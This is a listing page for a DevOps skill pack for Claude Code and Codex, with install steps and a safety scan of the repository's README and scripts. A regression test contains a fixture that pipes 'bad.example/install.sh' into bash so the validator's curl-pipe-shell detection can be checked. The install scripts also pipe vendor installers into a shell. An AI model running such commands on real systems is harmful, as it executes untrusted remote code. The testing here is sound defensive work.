Skip to content
Back to search

akin-ozer

MarketplaceWorks with Claude CodeGitHub

DevOps skills for Claude Code and Codex.

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today
Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/akin-ozer-cc-devops-skills/badge.svg)](/listings/akin-ozer-cc-devops-skills)

HTML

<a href="/listings/akin-ozer-cc-devops-skills"><img src="/api/listings/akin-ozer-cc-devops-skills/badge.svg" alt="findsafeskills safety rating" /></a>

Install

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

Claude Code Plugin Marketplace

/plugin marketplace add akin-ozer/cc-devops-skills
/plugin install devops-skills@akin-ozer

Codex Desktop

Skills only:

$skill-installer install https://github.com/akin-ozer/cc-devops-skills/tree/main/devops-skills-plugin/skills

Manual plugin install:

1. Clone the repo and link the packaged plugin into your local Codex plugin directory:

git clone https://github.com/akin-ozer/cc-devops-skills.git ~/.codex/devops-skills
mkdir -p ~/plugins ~/.agents/plugins
ln -s ~/.codex/devops-skills/devops-skills-plugin ~/plugins/devops-skills

2. Create or update `~/.agents/plugins/marketplace.json` so Codex can discover the plugin:

{
  "name": "local-plugins",
  "interface": {
    "displayName": "Local Plugins"
  },
  "plugins": [
    {
      "name": "devops-skills",
      "source": {
        "source": "local",
        "path": "./plugins/devops-skills"
      },
      "policy": {
        "installation": "AVAILABLE",
        "authentication": "ON_INSTALL"
      },
      "category": "Productivity"
    }
  ]
}

If you already use `~/.agents/plugins/marketplace.json`, append the `devops-skills` entry instead of replacing the file.

The packaged Codex manifest lives at `devops-skills-plugin/.codex-plugin/plugin.json`. It exists alongside the Claude manifest and points at the same `skills/` directory.

Team Rollout

Add this to project-level `.claude/settings.json`:

{
  "extraKnownMarketplaces": {
    "devops-skills": {
      "source": {
        "source": "github",
        "repo": "akin-ozer/cc-devops-skills"
      }
    }
  }
}

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

.claude-plugin/marketplace.json · Manifest · 13 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. {
  2. "name": "akin-ozer",
  3. "owner": {
  4. "name": "Akin Ozer"
  5. },
  6. "plugins": [
  7. {
  8. "name": "devops-skills",
  9. "source": "./devops-skills-plugin",
  10. "description": "DevOps skills for Claude Code."
  11. }
  12. ]
  13. }
README.md · README · 297 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. # DevOps skills for Claude Code and Codex
  2. [![Mentioned in Awesome Claude Code](https://awesome.re/mentioned-badge-flat.svg)](https://github.com/hesreallyhim/awesome-claude-code)
  3. A practical skill pack for DevOps work in Claude Code and Codex desktop.
  4. This repository ships **31 skills**:
  5. - **16 generators** for scaffolding production-ready configs
  6. - **14 validators** for linting, security checks, and dry-run validation
  7. - **1 debugger** (`k8s-debug`) for cluster troubleshooting
  8. The goal is simple: make infra and pipeline work faster without skipping correctness checks.
  9. ## Quick Install
  10. ### Claude Code Plugin Marketplace
  11. ```bash
  12. /plugin marketplace add akin-ozer/cc-devops-skills
  13. /plugin install devops-skills@akin-ozer
  14. ```
  15. ### Codex Desktop
  16. Skills only:
  17. ```bash
  18. $skill-installer install https://github.com/akin-ozer/cc-devops-skills/tree/main/devops-skills-plugin/skills
  19. ```
  20. Manual plugin install:
  21. 1. Clone the repo and link the packaged plugin into your local Codex plugin directory:
  22. ```bash
  23. git clone https://github.com/akin-ozer/cc-devops-skills.git ~/.codex/devops-skills
  24. mkdir -p ~/plugins ~/.agents/plugins
  25. ln -s ~/.codex/devops-skills/devops-skills-plugin ~/plugins/devops-skills
  26. ```
  27. 2. Create or update `~/.agents/plugins/marketplace.json` so Codex can discover the plugin:
  28. ```json
  29. {
  30. "name": "local-plugins",
  31. "interface": {
  32. "displayName": "Local Plugins"
  33. },
  34. "plugins": [
  35. {
  36. "name": "devops-skills",
  37. "source": {
  38. "source": "local",
  39. "path": "./plugins/devops-skills"
  40. },
  41. "policy": {
  42. "installation": "AVAILABLE",
  43. "authentication": "ON_INSTALL"
  44. },
  45. "category": "Productivity"
  46. }
  47. ]
  48. }
  49. ```
  50. If you already use `~/.agents/plugins/marketplace.json`, append the `devops-skills` entry instead of replacing the file.
  51. The packaged Codex manifest lives at `devops-skills-plugin/.codex-plugin/plugin.json`. It exists alongside the Claude manifest and points at the same `skills/` directory.
  52. ### Team Rollout
  53. Add this to project-level `.claude/settings.json`:
  54. ```json
  55. {
  56. "extraKnownMarketplaces": {
  57. "devops-skills": {
  58. "source": {
  59. "source": "github",
  60. "repo": "akin-ozer/cc-devops-skills"
  61. }
  62. }
  63. }
  64. }
  65. ```
  66. ## Drop-In GitHub Action Wrapper
  67. This repository also publishes a **drop-in wrapper** around `anthropics/claude-code-action@v1`.
  68. Replace:
  69. ```yaml
  70. uses: anthropics/claude-code-action@v1
  71. ```
  72. With:
  73. ```yaml
  74. uses: akin-ozer/cc-devops-skills@v1
  75. ```
  76. Behavior stays compatible with upstream `v1`, and DevOps skills are injected by default through:
  77. - Marketplace: `https://github.com/akin-ozer/cc-devops-skills.git`
  78. - Plugin: `devops-skills@akin-ozer`
  79. Tag policy:
  80. - `akin-ozer/cc-devops-skills@v1` tracks this wrapper's latest `v1.x.y` release.
  81. - The wrapper internally calls `anthropics/claude-code-action@v1` (tag), not a pinned SHA.
  82. To run as pure passthrough (no auto-injection):
  83. ```yaml
  84. uses: akin-ozer/cc-devops-skills@v1
  85. with:
  86. inject_devops_skills: "false"
  87. ```
  88. Docs and examples:
  89. - Wrapper details: [`docs/drop-in-wrapper.md`](docs/drop-in-wrapper.md)
  90. - IaC PR review workflow: [`examples/github-actions/iac-pr-review.yml`](examples/github-actions/iac-pr-review.yml)
  91. - Compatibility drift check: [`scripts/check_upstream_action_surface.sh`](scripts/check_upstream_action_surface.sh)
  92. ## How people use this repo
  93. Most workflows are generator + validator loops.
  94. ```mermaid
  95. flowchart LR
  96. A["Ask for generator skill"] --> B["Create artifact"]
  97. B --> C["Run matching validator"]
  98. C --> D{"Passes checks?"}
  99. D -- "No" --> E["Patch + re-run checks"]
  100. D -- "Yes" --> F["Ship to PR/CI"]
  101. ```
  102. Typical prompts:
  103. ```text
  104. Use terraform-generator to scaffold a reusable AWS VPC module with outputs and examples.
  105. Validate ./infra/vpc with terraform-validator and list only high-severity findings.
  106. Use k8s-debug to diagnose pods stuck in Pending in namespace payments.
  107. ```
  108. ## What makes these skills useful
  109. - **Local-first validation pipelines**: many validator skills run shell/Python checks directly from their `scripts/` folders.
  110. - **Tool-aware workflows**: validators integrate with real tools like `terraform`, `tflint`, `checkov`, `helm`, `kubeconform`, `actionlint`, and `act`.
  111. - **CRD/provider documentation lookup**: Kubernetes/Helm/Terraform/Terragrunt/Ansible flows include explicit doc lookup paths for custom resources.
  112. - **Fallback behavior is defined**: when a tool is missing, many skills degrade gracefully and tell you exactly what was skipped.
  113. ## Skill catalog (31)
  114. ### Infrastructure as code (6)
  115. | Skill | Primary use |
  116. |---|---|
  117. | `ansible-generator` | Scaffold playbooks, roles, inventories, and vars |
  118. | `ansible-validator` | Validate/lint/security-check playbooks, roles, and inventories |
  119. | `terraform-generator` | Generate Terraform modules/resources/variables/outputs |
  120. | `terraform-validator` | Run Terraform validation, linting, security audit, and planning |
  121. | `terragrunt-generator` | Scaffold Terragrunt root/child/stack layouts |
  122. | `terragrunt-validator` | Validate Terragrunt HCL, stacks, and module wiring |
  123. ### CI/CD pipelines (8)
  124. | Skill | Primary use |
  125. |---|---|
  126. | `azure-pipelines-generator` | Generate `azure-pipelines.yml` and reusable templates |
  127. | `azure-pipelines-validator` | Validate syntax/security/best-practice rules for Azure Pipelines |
  128. | `github-actions-generator` | Scaffold workflows and `action.yml` actions |
  129. | `github-actions-validator` | Validate and test workflows under `.github/workflows` |
  130. | `gitlab-ci-generator` | Generate `.gitlab-ci.yml` pipelines and job stages |
  131. | `gitlab-ci-validator` | Validate and secure GitLab CI configs |
  132. | `jenkinsfile-generator` | Generate declarative/scripted Jenkinsfiles |
  133. | `jenkinsfile-validator` | Validate Jenkinsfiles and shared-library pipeline code |
  134. ### Containers and Kubernetes (7)
  135. | Skill | Primary use |
  136. |---|---|
  137. | `dockerfile-generator` | Create production-friendly Dockerfiles |
  138. | `dockerfile-validator` | Lint and security-check Dockerfiles |
  139. | `helm-generator` | Scaffold Helm charts, values, and templates |
  140. | `helm-validator` | Validate chart structure, templates, schemas, and CRD usage |
  141. | `k8s-yaml-generator` | Generate Kubernetes manifests (including CRDs) |
  142. | `k8s-yaml-validator` | Validate/lint/dry-run Kubernetes YAML |
  143. | `k8s-debug` | Troubleshoot runtime cluster failures |
  144. ### Observability and Logging (6)
  145. | Skill | Primary use |
  146. |---|---|
  147. | `fluentbit-generator` | Generate Fluent Bit pipelines (`INPUT`/`FILTER`/`OUTPUT`) |
  148. | `fluentbit-validator` | Validate Fluent Bit config quality and safety |
  149. | `logql-generator` | Build LogQL queries and alert expressions |
  150. | `loki-config-generator` | Generate Loki server configs for common deployment modes |
  151. | `promql-generator` | Generate PromQL queries, recording rules, and alerts |
  152. | `promql-validator` | Validate and optimize PromQL queries/alerts |
  153. ### Scripting and Build (4)
  154. | Skill | Primary use |
  155. |---|---|
  156. | `bash-script-generator` | Create shell scripts and CLI helpers |
  157. | `bash-script-validator` | Validate shell scripts with ShellCheck-oriented checks |
  158. | `makefile-generator` | Generate Makefiles with reusable targets |
  159. | `makefile-validator` | Validate Makefile correctness and anti-patterns |
  160. ## Validator Internals (examples)
  161. These are real execution patterns inside the skill instructions and scripts:
  162. | Skill | Validation pattern |
  163. |---|---|
  164. | `terraform-validator` | `terraform fmt` -> `tflint` -> `terraform validate` -> Checkov -> optional `terraform plan` |
  165. | `k8s-yaml-validator` | CRD detection -> `kubeconform` schema checks -> `kubectl --dry-run` flow |
  166. | `helm-validator` | `helm lint` -> `helm template` -> `kubeconform` -> optional cluster dry-run |
  167. | `github-actions-validator` | `actionlint` static checks + `act` runtime workflow tests |
  168. | `gitlab-ci-validator` | syntax + best-practice + security checks with strict/test-only modes |
  169. | `ansible-validator` | syntax/lint/check-mode + role tests + security checks |
  170. | `dockerfile-validator` | scripted lint/security path with fallback scanning modes |
  171. ## Requirements
  172. You do not need every tool for every skill. Install the tools for the domains you use.
  173. ### Baseline
  174. - `bash`
  175. - `python3` (3.8+ recommended; 3.9+ for some security tooling)
  176. ### Common Toolchain by Domain
  177. | Domain | Common tools |
  178. |---|---|
  179. | Terraform/Terragrunt | `terraform`, `tflint`, `terragrunt`, `checkov` |
  180. | Kubernetes/Helm | `kubectl`, `kubeconform`, `helm`, `yamllint` |
  181. | Docker | `hadolint` |
  182. | GitHub Actions | `actionlint`, `act` |
  183. | Shell scripting | `shellcheck` |
  184. | Prometheus | `promtool` |
  185. ### Quick Install (macOS example)
  186. ```bash
  187. brew install terraform tflint terragrunt helm kubeconform kubectl hadolint
  188. brew install actionlint act shellcheck prometheus yq fluent-bit
  189. pipx install ansible ansible-lint checkov yamllint molecule
  190. helm plugin install https://github.com/databus23/helm-diff
  191. ```
  192. ## Repo Layout
  193. ```text
  194. cc-devops-skills/
  195. ├── action.yml
  196. ├── README.md
  197. ├── LICENSE
  198. ├── docs/
  199. │ └── drop-in-wrapper.md
  200. ├── examples/
  201. │ └── github-actions/
  202. │ └── iac-pr-review.yml
  203. ├── scripts/
  204. │ └── check_upstream_action_surface.sh
  205. ├── .github/workflows/
  206. │ └── compat-check.yml
  207. └── devops-skills-plugin/
  208. ├── .claude-plugin/plugin.json
  209. ├── .codex-plugin/plugin.json
  210. └── skills/
  211. └── <skill-name>/
  212. ├── SKILL.md
  213. ├── scripts/
  214. ├── references/
  215. ├── assets/
  216. ├── examples/
  217. └── tests/ (or test/)
  218. ```
  219. ## Contributing
  220. See [`CONTRIBUTING.md`](CONTRIBUTING.md) for the skill folder contract, required `SKILL.md` frontmatter, and generator/validator pairing conventions.
  221. Contributions are welcome for:
  222. - new skills in adjacent DevOps domains
  223. - better validator coverage and safer defaults
  224. - test fixtures and regression tests
  225. - improved docs/examples for real production scenarios
  226. ## License
  227. Apache-2.0
devops-skills-plugin/skills/azure-pipelines-validator/scripts/test_regressions.py · Bundled script · 136 lines · 2 findings marked
  1. #!/usr/bin/env python3
  2. """Regression tests for azure-pipelines-validator traversal coverage."""
  3. import sys
  4. import tempfile
  5. import textwrap
  6. import unittest
  7. from pathlib import Path
  8. SCRIPT_DIR = Path(__file__).resolve().parent
  9. sys.path.insert(0, str(SCRIPT_DIR))
  10. from check_best_practices import BestPracticesChecker
  11. from check_security import SecurityScanner
  12. from step_walker import iter_steps
  13. def _write_pipeline(yaml_text: str) -> Path:
  14. with tempfile.NamedTemporaryFile(mode="w", suffix=".yml", delete=False) as handle:
  15. handle.write(textwrap.dedent(yaml_text).strip() + "\n")
  16. return Path(handle.name)
  17. class TestStepWalkerCoverage(unittest.TestCase):
  18. def test_iter_steps_includes_conditional_step_payload(self):
  19. config = {
  20. "steps": [
  21. {
  22. "${{ if eq(variables['Build.SourceBranch'], 'refs/heads/main') }}": [
  23. {"script": "curl -fsSL https://bad.example/install.sh | bash"}
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 31 on GitHub
  24. ]
  25. }
  26. ]
  27. }
  28. walked = list(iter_steps(config))
  29. self.assertTrue(
  30. any("script" in step for step, _ in walked),
  31. "Expected conditional step payload to be traversed",
  32. )
  33. def test_iter_steps_includes_runonce_on_failure_steps(self):
  34. config = {
  35. "jobs": [
  36. {
  37. "deployment": "DeployWeb",
  38. "strategy": {
  39. "runOnce": {
  40. "on": {
  41. "failure": {
  42. "steps": [{"task": "CmdLine"}],
  43. }
  44. }
  45. }
  46. },
  47. }
  48. ]
  49. }
  50. walked = list(iter_steps(config))
  51. self.assertTrue(
  52. any(step.get("task") == "CmdLine" for step, _ in walked),
  53. "Expected runOnce.on.failure steps to be traversed",
  54. )
  55. class TestScannerRegressions(unittest.TestCase):
  56. def test_basic_example_is_clean_best_practices_baseline(self):
  57. pipeline = SCRIPT_DIR.parent / "examples" / "basic-pipeline.yml"
  58. issues = BestPracticesChecker(str(pipeline)).check()
  59. self.assertEqual(
  60. [],
  61. issues,
  62. f"Expected basic example to be clean, got {[issue.rule for issue in issues]}",
  63. )
  64. def test_security_detects_dangerous_script_in_conditional_block(self):
  65. pipeline = _write_pipeline(
  66. """
  67. trigger: none
  68. steps:
  69. - ${{ if eq(variables['Build.SourceBranch'], 'refs/heads/main') }}:
  70. - script: curl -fsSL https://bad.example/install.sh | bash
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 85 on GitHub
  71. """
  72. )
  73. try:
  74. issues = SecurityScanner(str(pipeline)).scan()
  75. finally:
  76. pipeline.unlink(missing_ok=True)
  77. rules = [issue.rule for issue in issues]
  78. self.assertIn(
  79. "curl-pipe-shell",
  80. rules,
  81. "Expected curl-pipe-shell finding inside conditional step block",
  82. )
  83. def test_best_practices_detects_missing_version_in_runonce_on_failure(self):
  84. pipeline = _write_pipeline(
  85. """
  86. trigger: none
  87. jobs:
  88. - deployment: DeployWeb
  89. environment: test
  90. strategy:
  91. runOnce:
  92. on:
  93. failure:
  94. steps:
  95. - task: CmdLine
  96. inputs:
  97. script: echo rollback
  98. """
  99. )
  100. try:
  101. issues = BestPracticesChecker(str(pipeline)).check()
  102. finally:
  103. pipeline.unlink(missing_ok=True)
  104. task_issues = [issue for issue in issues if issue.rule == "task-missing-version"]
  105. self.assertTrue(
  106. task_issues,
  107. "Expected task-missing-version warning for runOnce.on.failure step",
  108. )
  109. self.assertTrue(
  110. any("runOnce.on.failure" in issue.message for issue in task_issues),
  111. "Expected warning context to include runOnce.on.failure",
  112. )
  113. if __name__ == "__main__":
  114. unittest.main()
devops-skills-plugin/skills/github-actions-validator/scripts/install_tools.sh · Bundled script · 113 lines · 2 findings marked
  1. #!/bin/bash
  2. # GitHub Actions Validator - Tool Installation Script
  3. # Installs act and actionlint tools locally in the current directory
  4. set -e
  5. SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
  6. TOOLS_DIR="${SCRIPT_DIR}/.tools"
  7. # Colors for output
  8. RED='\033[0;31m'
  9. GREEN='\033[0;32m'
  10. YELLOW='\033[1;33m'
  11. NC='\033[0m' # No Color
  12. log_info() {
  13. echo -e "${GREEN}[INFO]${NC} $1"
  14. }
  15. log_warn() {
  16. echo -e "${YELLOW}[WARN]${NC} $1"
  17. }
  18. log_error() {
  19. echo -e "${RED}[ERROR]${NC} $1"
  20. }
  21. # Create tools directory if it doesn't exist
  22. mkdir -p "${TOOLS_DIR}"
  23. # Function to install act
  24. install_act() {
  25. log_info "Installing act (nektos/act)..."
  26. # Check if act already exists in tools directory
  27. if [ -f "${TOOLS_DIR}/act" ]; then
  28. log_warn "act already exists in ${TOOLS_DIR}, removing..."
  29. rm -f "${TOOLS_DIR}/act"
  30. fi
  31. # Check if act exists in PATH
  32. if command -v act &> /dev/null; then
  33. log_info "act found in PATH, creating symlink..."
  34. ln -sf "$(command -v act)" "${TOOLS_DIR}/act"
  35. else
  36. log_info "Downloading act..."
  37. # Install act to the tools directory
  38. cd "${TOOLS_DIR}"
  39. curl --proto '=https' --tlsv1.2 -sSf https://raw.githubusercontent.com/nektos/act/master/install.sh | bash -s -- -b "${TOOLS_DIR}"
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 49 on GitHub
  40. cd - > /dev/null
  41. fi
  42. if [ -f "${TOOLS_DIR}/act" ]; then
  43. log_info "act installed successfully at ${TOOLS_DIR}/act"
  44. "${TOOLS_DIR}/act" --version
  45. else
  46. log_error "Failed to install act"
  47. return 1
  48. fi
  49. }
  50. # Function to install actionlint
  51. install_actionlint() {
  52. log_info "Installing actionlint (rhysd/actionlint)..."
  53. # Check if actionlint already exists in tools directory
  54. if [ -f "${TOOLS_DIR}/actionlint" ]; then
  55. log_warn "actionlint already exists in ${TOOLS_DIR}, removing..."
  56. rm -f "${TOOLS_DIR}/actionlint"
  57. fi
  58. # Check if actionlint exists in PATH
  59. if command -v actionlint &> /dev/null; then
  60. log_info "actionlint found in PATH, creating symlink..."
  61. ln -sf "$(command -v actionlint)" "${TOOLS_DIR}/actionlint"
  62. else
  63. log_info "Downloading actionlint..."
  64. # Download and install actionlint
  65. cd "${TOOLS_DIR}"
  66. bash <(curl https://raw.githubusercontent.com/rhysd/actionlint/main/scripts/download-actionlint.bash)
    • Note: Runs a downloaded script through process substitution (bash <(curl …))
    • Line 80 on GitHub
  67. cd - > /dev/null
  68. fi
  69. if [ -f "${TOOLS_DIR}/actionlint" ]; then
  70. log_info "actionlint installed successfully at ${TOOLS_DIR}/actionlint"
  71. "${TOOLS_DIR}/actionlint" --version
  72. else
  73. log_error "Failed to install actionlint"
  74. return 1
  75. fi
  76. }
  77. # Main installation
  78. main() {
  79. log_info "=== GitHub Actions Validator - Tool Installation ==="
  80. log_info "Installing tools to: ${TOOLS_DIR}"
  81. echo ""
  82. install_act
  83. echo ""
  84. install_actionlint
  85. echo ""
  86. log_info "=== Installation Complete ==="
  87. log_info "Tools installed at: ${TOOLS_DIR}"
  88. log_info "act: ${TOOLS_DIR}/act"
  89. log_info "actionlint: ${TOOLS_DIR}/actionlint"
  90. echo ""
  91. log_info "Add ${TOOLS_DIR} to your PATH or use absolute paths:"
  92. echo " export PATH=\"${TOOLS_DIR}:\$PATH\""
  93. }
  94. main "$@"
devops-skills-plugin/skills/helm-validator/scripts/setup_tools.sh · Bundled script · 153 lines · 1 finding marked
  1. #!/bin/bash
  2. # Check for required Helm validation tools and provide installation instructions
  3. set -euo pipefail
  4. echo "Checking for Helm chart validation tools..."
  5. echo
  6. MISSING_TOOLS=()
  7. OPTIONAL_TOOLS=()
  8. HELM_AVAILABLE=false
  9. # Check for helm (required)
  10. if ! command -v helm &> /dev/null; then
  11. echo "❌ helm not found (REQUIRED)"
  12. MISSING_TOOLS+=("helm")
  13. else
  14. HELM_AVAILABLE=true
  15. HELM_VERSION=$(helm version --short 2>/dev/null || helm version)
  16. echo "✅ helm found: $HELM_VERSION"
  17. # Check if Helm 3+
  18. if [[ "$HELM_VERSION" =~ v([0-9]+)\. ]]; then
  19. HELM_MAJOR="${BASH_REMATCH[1]}"
  20. if [ "$HELM_MAJOR" -lt 3 ]; then
  21. echo "⚠️ Warning: Helm 3+ is required. Found: $HELM_VERSION"
  22. fi
  23. else
  24. echo "⚠️ Warning: Unable to determine Helm major version from: $HELM_VERSION"
  25. fi
  26. fi
  27. # Check for yamllint (required)
  28. if ! command -v yamllint &> /dev/null; then
  29. echo "❌ yamllint not found (REQUIRED)"
  30. MISSING_TOOLS+=("yamllint")
  31. else
  32. echo "✅ yamllint found: $(yamllint --version)"
  33. fi
  34. # Check for kubeconform (required)
  35. if ! command -v kubeconform &> /dev/null; then
  36. echo "❌ kubeconform not found (REQUIRED)"
  37. MISSING_TOOLS+=("kubeconform")
  38. else
  39. echo "✅ kubeconform found: $(kubeconform -v)"
  40. fi
  41. # Check for kubectl (optional but recommended)
  42. if ! command -v kubectl &> /dev/null; then
  43. echo "⚠️ kubectl not found (OPTIONAL - needed for cluster dry-run)"
  44. OPTIONAL_TOOLS+=("kubectl")
  45. else
  46. echo "✅ kubectl found: $(kubectl version --client --short 2>/dev/null || kubectl version --client)"
  47. fi
  48. # Check for yq (optional but helpful)
  49. if ! command -v yq &> /dev/null; then
  50. echo "⚠️ yq not found (OPTIONAL - helpful for YAML manipulation)"
  51. OPTIONAL_TOOLS+=("yq")
  52. else
  53. echo "✅ yq found: $(yq --version)"
  54. fi
  55. # Check for helm-diff plugin (optional but helpful for upgrades)
  56. if [ "$HELM_AVAILABLE" = true ] && helm plugin list 2>/dev/null | grep -q "diff"; then
  57. echo "✅ helm-diff plugin found"
  58. else
  59. if [ "$HELM_AVAILABLE" = true ]; then
  60. echo "⚠️ helm-diff plugin not found (OPTIONAL - helpful for upgrade validation)"
  61. OPTIONAL_TOOLS+=("helm-diff")
  62. fi
  63. fi
  64. echo
  65. if [ ${#MISSING_TOOLS[@]} -eq 0 ]; then
  66. echo "✅ All required tools are installed!"
  67. if [ ${#OPTIONAL_TOOLS[@]} -gt 0 ]; then
  68. echo
  69. echo "⚠️ Optional tools missing: ${OPTIONAL_TOOLS[*]}"
  70. echo " These tools provide additional functionality but are not required."
  71. fi
  72. exit 0
  73. else
  74. echo "❌ Missing required tools: ${MISSING_TOOLS[*]}"
  75. echo
  76. echo "Installation instructions:"
  77. echo
  78. for tool in "${MISSING_TOOLS[@]}"; do
  79. case $tool in
  80. helm)
  81. echo "📦 helm:"
  82. echo " macOS: brew install helm"
  83. echo " Linux: curl https://raw.githubusercontent.com/helm/helm/main/scripts/get-helm-3 | bash"
    • Note: Pipes a downloaded script directly into a shell (curl | sh / wget | bash)
    • Line 98 on GitHub
  84. echo " Windows: choco install kubernetes-helm"
  85. echo " Manual: https://helm.sh/docs/intro/install/"
  86. echo
  87. ;;
  88. yamllint)
  89. echo "📦 yamllint:"
  90. echo " macOS: brew install yamllint"
  91. echo " Linux: pip install yamllint"
  92. echo " Ubuntu: apt-get install yamllint"
  93. echo " Windows: pip install yamllint"
  94. echo
  95. ;;
  96. kubeconform)
  97. echo "📦 kubeconform:"
  98. echo " macOS: brew install kubeconform"
  99. echo " Linux: Download from https://github.com/yannh/kubeconform/releases"
  100. echo " Windows: Download from https://github.com/yannh/kubeconform/releases"
  101. echo " Or use: go install github.com/yannh/kubeconform/cmd/kubeconform@latest"
  102. echo
  103. ;;
  104. esac
  105. done
  106. if [ ${#OPTIONAL_TOOLS[@]} -gt 0 ]; then
  107. echo
  108. echo "Optional tools installation:"
  109. echo
  110. for tool in "${OPTIONAL_TOOLS[@]}"; do
  111. case $tool in
  112. kubectl)
  113. echo "📦 kubectl:"
  114. echo " macOS: brew install kubectl"
  115. echo " Linux: https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/"
  116. echo " Windows: choco install kubernetes-cli"
  117. echo
  118. ;;
  119. yq)
  120. echo "📦 yq:"
  121. echo " macOS: brew install yq"
  122. echo " Linux: Download from https://github.com/mikefarah/yq/releases"
  123. echo " Windows: choco install yq"
  124. echo
  125. ;;
  126. helm-diff)
  127. echo "📦 helm-diff plugin:"
  128. echo " helm plugin install https://github.com/databus23/helm-diff"
  129. echo
  130. ;;
  131. esac
  132. done
  133. fi
  134. exit 1
  135. fi

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.